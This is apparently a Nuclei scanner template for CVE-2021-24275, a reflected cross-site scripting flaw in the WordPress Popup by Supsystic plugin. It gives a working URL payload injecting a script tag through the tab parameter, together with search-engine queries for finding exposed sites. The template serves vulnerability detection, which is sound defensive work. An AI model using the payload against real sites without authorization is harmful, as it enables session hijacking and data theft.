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Popup by Supsystic <1.10.5 - Cross-Site scripting

ID: CVE-2021-24275

Severity: medium

Author: dhiyaneshDK

Tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,supsystic

WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.

id: CVE-2021-24275
info:
name: Popup by Supsystic <1.10.5 - Cross-Site scripting
author: dhiyaneshDK
severity: medium
description: WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
- http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-24275
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24275
cwe-id: CWE-79
epss-score: 0.00231
epss-percentile: 0.61154
cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: supsystic
product: popup
framework: wordpress
shodan-query: http.html:/wp-content/plugins/popup-by-supsystic
fofa-query: body=/wp-content/plugins/popup-by-supsystic
publicwww-query: /wp-content/plugins/popup-by-supsystic
tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,supsystic
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- '</script><script>alert(document.domain)</script>'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100d6671dbe7119d48a511f916b75775b5e2bb743c1d7502dbc532712e5b8feaeee02205bf229247afddc451e5dde068cc16c8a95bd5f64503cbd61d59ebc66602496af:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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